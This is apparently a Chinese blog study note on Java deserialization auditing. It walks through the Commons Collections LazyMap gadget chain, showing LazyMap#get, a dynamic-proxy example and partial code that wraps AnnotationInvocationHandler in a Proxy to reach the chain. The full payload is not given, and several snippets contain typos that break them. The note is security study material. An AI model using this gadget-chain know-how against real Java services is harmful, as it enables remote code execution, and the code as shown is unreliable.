java审计-lazymap

Lazymap

学习了前面,我们知道在这个利用链中,比较关键的是需要有调动到transform类的方法,因为transform的四个方法组合一下,最终才能成功执行命令,但是在前面我们使用TransformedMap来执行命令的,而在Ysoserial中使用的是lazymap,关键的代码在于其get方法

public Object get(Object key){
if(map.contain(Key)==false){
Object value = factory.transform(key);
map.put(key,value);
return value;
}
return map.get(key)
}

利用方法

在Lazymap,想要利用这个get方法,需要使用AnnotationInvocationHandler类的invoke方法

java对象代理

作用

实现类似php的魔术方法_call,劫持一个对象内部的方法调用——java.reflect.Proxy

Map proxyMap= (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Class[] {Map.class},handler);

使用方法:

Proxy.newProxyInstance的第一个参数是ClassLoader,,默认即可,第二个参数是需要代理的对象的集合,第三个参数是实现了InvocationHandler接口的对象,里面包含具体代理的逻辑

eg:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler{
protected Map map;
public ExampleInvocationHandler(Map map){
this.map = map;
}

@Override
public Object invoke(Object proxy,Method method, Object[] args) throws Throwable{
if(method.getName().compareTo("get")==0){
System.out.println(Method.getName());
return "a";
}
return method.invoke(this.map,args);
}
}


ExampleInvocationHandler类实现了invoke方法,作用是检测到调用方法名get的时候返回a和方法名

外部调用这个ExampleInvocationHandler

import java.lang.reflect.InvocationHandler; 
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class App{
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap=(Map) Proxy.newwPorxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},hander);

proxyMap.put("hello","wo");
String result=(String) proxyMap.get("hello");
System.out.println(result);
}
}

触发Lazymap过程

1.AnnotationInvocationHandler是一个invocationhandler

2.我们将其对象进行proxy,在使用readObject时,调用任意方法,即进入invoke方法中,就会触发Lazymap#get

LazyMap构造利用链

1.使用Lazymap替换TransformedMap

Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  1. sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy:

    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct=clazz.getDeclaredConstructor(Class.class,Map.class);
    construct.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);

    Map proxyMap= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
Author

vague huang

Posted on

2022-04-15

Updated on

2022-07-17

Licensed under

Comments